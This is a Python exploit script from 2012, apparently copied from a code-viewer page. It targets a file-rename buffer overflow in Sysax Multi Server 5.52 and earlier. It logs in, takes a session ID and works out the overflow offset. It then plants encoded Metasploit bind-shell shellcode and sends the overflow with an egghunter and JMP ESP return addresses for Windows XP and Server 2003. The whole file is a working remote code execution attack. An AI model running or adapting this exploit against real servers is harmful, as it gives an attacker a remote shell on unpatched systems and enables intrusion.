1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 |
#!/usr/bin/python ########################################################################################################## #Title: Sysax Multi Server <= 5.52 File Rename BoF RCE (Egghunter) #Author: Craig Freyman (@cd1zz) #Tested on: XP SP3 32bit and Server 2003 SP2 32bit(No DEP) #Software Versions Tested: 5.50 and 5.52 #Date Discovered: Febrary 1, 2012 #Vendor Contacted: Febrary 3, 2012 #Vendor Response: (none) #A complete description of this exploit can be found here: #http://www.pwnag3.com/2012/02/sysax-multi-server-552-file-rename.html ########################################################################################################## import socket,sys,time,re,base64 if len(sys.argv) != 6: print "[+] Usage: ./filename <Target IP> <Port> <User> <Password> <XP or 2K3>" sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) user = sys.argv[3] password = sys.argv[4] opersys = sys.argv[5] #base64 encode the provided creds creds = base64.encodestring(user+"\x0a"+password) #msfpayloadwindows/shell_bind_tcp LPORT=4444 R|msfencode -e x86/alpha_mixed -b "\x00\x2f\x0a" shell = ("DNWPDNWP" "\x89\xe3\xda\xc5\xd9\x73\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a" "\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59" "\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" "\x75\x4a\x49\x39\x6c\x58\x68\x6d\x59\x55\x50\x65\x50\x45" "\x50\x55\x30\x4e\x69\x39\x75\x55\x61\x39\x42\x61\x74\x4c" "\x4b\x51\x42\x50\x30\x6e\x6b\x73\x62\x36\x6c\x6e\x6b\x63" "\x62\x57\x64\x6c\x4b\x53\x42\x55\x78\x66\x6f\x6d\x67\x73" "\x7a\x37\x56\x45\x61\x4b\x4f\x45\x61\x6f\x30\x4c\x6c\x65" "\x6c\x61\x71\x33\x4c\x75\x52\x64\x6c\x45\x70\x79\x51\x38" "\x4f\x66\x6d\x63\x31\x58\x47\x7a\x42\x68\x70\x73\x62\x71" "\x47\x6c\x4b\x33\x62\x32\x30\x4c\x4b\x77\x32\x55\x6c\x36" "\x61\x58\x50\x6e\x6b\x71\x50\x62\x58\x6e\x65\x4b\x70\x33" "\x44\x61\x5a\x77\x71\x68\x50\x72\x70\x4c\x4b\x33\x78\x36" "\x78\x6e\x6b\x70\x58\x71\x30\x57\x71\x59\x43\x79\x73\x75" "\x6c\x43\x79\x6e\x6b\x34\x74\x6c\x4b\x47\x71\x6e\x36\x55" "\x61\x49\x6f\x56\x51\x6f\x30\x4c\x6c\x49\x51\x68\x4f\x34" "\x4d\x33\x31\x49\x57\x64\x78\x69\x70\x30\x75\x38\x74\x75" "\x53\x53\x4d\x6b\x48\x37\x4b\x71\x6d\x51\x34\x52\x55\x6a" "\x42\x33\x68\x4e\x6b\x42\x78\x75\x74\x43\x31\x6e\x33\x62" "\x46\x6e\x6b\x66\x6c\x32\x6b\x4e\x6b\x76\x38\x47\x6c\x77" "\x71\x68\x53\x4e\x6b\x65\x54\x4c\x4b\x57\x71\x78\x50\x4f" "\x79\x67\x34\x51\x34\x51\x34\x63\x6b\x61\x4b\x65\x31\x30" "\x59\x30\x5a\x53\x61\x39\x6f\x6d\x30\x33\x68\x31\x4f\x52" "\x7a\x6c\x4b\x65\x42\x68\x6b\x4c\x46\x63\x6d\x55\x38\x44" "\x73\x46\x52\x63\x30\x33\x30\x35\x38\x42\x57\x30\x73\x50" "\x32\x73\x6f\x50\x54\x31\x78\x52\x6c\x34\x37\x44\x66\x44" "\x47\x59\x6f\x6e\x35\x6e\x58\x6e\x70\x77\x71\x55\x50\x55" "\x50\x46\x49\x49\x54\x46\x34\x42\x70\x61\x78\x51\x39\x6f" "\x70\x50\x6b\x53\x30\x59\x6f\x49\x45\x50\x50\x50\x50\x36" "\x30\x72\x70\x51\x50\x32\x70\x57\x30\x72\x70\x43\x58\x38" "\x6a\x34\x4f\x79\x4f\x6b\x50\x79\x6f\x39\x45\x6d\x59\x79" "\x57\x50\x31\x49\x4b\x51\x43\x65\x38\x43\x32\x45\x50\x72" "\x31\x73\x6c\x6c\x49\x49\x76\x32\x4a\x34\x50\x76\x36\x72" "\x77\x45\x38\x5a\x62\x4b\x6b\x55\x67\x63\x57\x79\x6f\x38" "\x55\x71\x43\x51\x47\x43\x58\x4f\x47\x59\x79\x64\x78\x69" "\x6f\x59\x6f\x7a\x75\x36\x33\x70\x53\x51\x47\x65\x38\x61" "\x64\x78\x6c\x67\x4b\x69\x71\x49\x6f\x48\x55\x70\x57\x6f" "\x79\x49\x57\x63\x58\x42\x55\x50\x6e\x72\x6d\x55\x31\x79" "\x6f\x39\x45\x33\x58\x63\x53\x72\x4d\x35\x34\x77\x70\x4e" "\x69\x79\x73\x76\x37\x73\x67\x62\x77\x46\x51\x7a\x56\x31" "\x7a\x57\x62\x76\x39\x46\x36\x4b\x52\x39\x6d\x42\x46\x38" "\x47\x62\x64\x61\x34\x47\x4c\x45\x51\x57\x71\x4c\x4d\x47" "\x34\x76\x44\x44\x50\x79\x56\x63\x30\x53\x74\x33\x64\x70" "\x50\x53\x66\x42\x76\x52\x76\x53\x76\x76\x36\x30\x4e\x71" "\x46\x32\x76\x36\x33\x62\x76\x53\x58\x44\x39\x48\x4c\x57" "\x4f\x6e\x66\x69\x6f\x79\x45\x6f\x79\x6d\x30\x30\x4e\x32" "\x76\x63\x76\x49\x6f\x56\x50\x42\x48\x65\x58\x6d\x57\x45" "\x4d\x31\x70\x79\x6f\x38\x55\x4d\x6b\x78\x70\x4d\x65\x69" "\x32\x30\x56\x50\x68\x4f\x56\x4a\x35\x4d\x6d\x6f\x6d\x49" "\x6f\x39\x45\x55\x6c\x66\x66\x43\x4c\x56\x6a\x4d\x50\x69" "\x6b\x59\x70\x64\x35\x74\x45\x6f\x4b\x53\x77\x55\x43\x43" "\x42\x42\x4f\x43\x5a\x55\x50\x52\x73\x79\x6f\x68\x55\x41" "\x41") egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x44\x4e\x57\x50\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7") print "============================================================================" print " Sysax Multi Server <= 5.52 File Rename BoF" print "by cd1zz " print " www.pwnag3.com" print " Launching exploit against " + target + " on port " + str(port) + " for " + opersys print "============================================================================" #login with encoded creds login = "POST /scgi?sid=0&pid=dologin HTTP/1.1\r\n" login += "Host: \r\n" login += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\r\n" login += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" login += "Accept-Language: en-us,en;q=0.5\r\n" login += "Accept-Encoding: gzip, deflate\r\n" login += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n" login += "Proxy-Connection: keep-alive\r\n" login += "http://"+target+"/scgi?sid=0&pid=dologin\r\n" login += "Content-Type: application/x-www-form-urlencoded\r\n" login += "Content-Length: 15\r\n\r\n" login += "fd="+creds #grab the sid r = socket.socket(socket.AF_INET,socket.SOCK_STREAM) r.connect((target, port)) print "[*] Getting your SID." r.send(login + "\r\n") page = r.recv(10240) sid = re.search(r'sid=[a-zA-Z0-9]{40}',page,re.M) if sid is None: print "[X] Could not get a SID. User and pass correct?" sys.exit(1) print "[+] Your " + sid.group(0) time.sleep(2) #find the users path to calc offset print "[*] Finding home path to calculate offset." path = re.search(r'file=[a-zA-Z0-9]:\\[\\.a-zA-Z_0-9 ]{1,255}[\\$]',page,re.M) time.sleep(1) #if that doesnt work, try to upload a file and check again if path is None: print "[-] There are no files in your path so I'm going to try to upload one for you." print "[-] If you don't have rights to do this, it will fail." upload = "POST /scgi?"+str(sid.group(0))+"&pid=uploadfile_name1.htm HTTP/1.1\r\n" upload += "Host:\r\n" upload += "Content-Type: multipart/form-data; boundary=---------------------------97336096252362005297691620\r\n" upload += "Content-Length: 219\r\n\r\n" upload += "-----------------------------97336096252362005297691620\r\n" upload += "Content-Disposition: form-data; name=\"upload_file\"; filename=\"file.txt\"\r\n" upload += "Content-Type: text/plain\r\n" upload += "-----------------------------97336096252362005297691620--\r\n\r\n" u = socket.socket(socket.AF_INET,socket.SOCK_STREAM) u.connect((target, port)) u.send(upload + "\r\n") page = u.recv(10240) path = re.search(r'file=[a-zA-Z0-9]:\\[\\.a-zA-Z_0-9 ]{1,255}[\\$]',page,re.M) time.sleep(2) if path is None: print "[X] It failed, you probably don't have rights to upload." print "[X] You will need to get your path another way to properly calculate the offset." sys.exit(1) print "[+] Got it ==> " + path.group(0) time.sleep(1) #subtract --> file=c:\ <--- (8 bytes) from the length and minus one more for the trailing --> \ pathlength = len(path.group(0)) - 8 - 1 #print "[*] The path is " + str(pathlength) + " bytes long (not including C:\)." if pathlength < 16: print "[X] Your path is too short, this will just DoS the server." print "[X] The path has to be at least 16 bytes long or we cant jump to our buffer." sys.exit(1) time.sleep(2) r.close() #jump back 128 bytes jumpback = "\xeb\x80" #No DEP bypass if opersys == "2K3": #2043 is the offset for c:\A offset = 2044 - pathlength padding = "\x90" * 10 junk = "\x41" * (offset - len(egghunter+padding)) jump = "\xa4\xde\x8e\x7c" #JMP ESP buf = junk + egghunter + padding + jump + "\x90"*12 + jumpback + "D"*10 if opersys == "XP": #2044 is the offset for c:\A offset = 2044 - pathlength padding = "\x90" * 10 junk = "\x41" * (offset - len(egghunter+padding)) jump = "\x53\x93\x42\x7e" #JMP ESP buf = junk + egghunter + padding + jump + "\x90"*12 + jumpback + "D"*10 #print "[*] Your offset is " + str(offset) #we'll stuff our shell in memory first stage1 = "POST /scgi?"+str(sid.group(0))+"&pid="+shell+"mk_folder2_name1.htm HTTP/1.1\r\n" stage1 += "Host: \r\n" stage1 += "Referer: http://"+target+"/scgi?sid="+str(sid.group(0))+"&pid=mk_folder1_name1.htm\r\n" stage1 += "Content-Type: multipart/form-data; boundary=---------------------------1190753071675116720811342231\r\n" stage1 += "Content-Length: 171\r\n\r\n" stage1 += "-----------------------------1190753071675116720811342231\r\n" stage1 += "Content-Disposition: form-data; name=\"e2\"\r\n\r\n" stage1 += "file_test\r\n" stage1 += "-----------------------------1190753071675116720811342231--\r\n\r\n" #this is the bof stage2 = "POST /scgi?"+str(sid.group(0))+"&pid=rnmslctd1_name1.htm HTTP/1.1\r\n" stage2 += "Host: \r\n" stage2 += "Referrer: http://"+target+"/scgi?sid=0&pid=dologin\r\n" stage2 += "Content-Type: multipart/form-data; boundary=---------------------------332173112583677792048824791\r\n" stage2 += "Content-Length: 183\r\n\r\n" stage2 += "-----------------------------332173112583677792048824791\r\n" stage2 += "Content-Disposition: form-data; name=\"e2\"\r\n\r\n" stage2 += "file_"+buf+"\r\n\r\n" stage2 += "-----------------------------332173112583677792048824791--\r\n\r\n" s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((target, port)) print "[*] Sending stage 1 shell." s.send(stage1 + "\r\n") time.sleep(3) ##Dont close the socket or we'll lose our stage 1 shell in memory ##s.close() t = socket.socket(socket.AF_INET,socket.SOCK_STREAM) t.connect((target, port)) print "[*] Sending stage 2 BoF." t.send(stage2 + "\r\n") print "[*] Go get your shell..." t.recv(2048) |